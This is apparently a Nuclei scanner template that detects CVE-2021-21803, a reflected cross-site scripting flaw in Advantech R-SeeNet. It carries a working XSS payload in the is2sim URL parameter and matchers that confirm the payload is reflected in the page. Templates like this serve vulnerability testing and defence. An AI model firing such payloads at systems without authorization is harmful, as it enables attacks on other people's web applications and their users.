id: CVE-2021-21803 info: name: Advantech R-SeeNet is2sim parameter - Reflected Cross-Site Scripting (XSS) author: gy741 severity: medium description: This vulnerability is present in device_graph_page.php script, which is a part of the Advantech R-SeeNet web applications. A specially crafted URL by an attacker and visited by a victim can lead to arbitrary JavaScript code execution. reference: - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1272 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-21803 cwe-id: CWE-79 tags: cve,cve2021,rseenet,xss requests: - method: GET path: - '{{BaseURL}}/php/device_graph_page.php?is2sim=%22zlo%20onerror=alert(1)%20%22' matchers-condition: and matchers: - type: word words: - '"zlo onerror=alert(1) "' - 'Device Status Graph' part: body condition: and - type: word part: header words: - text/html - type: status status: - 200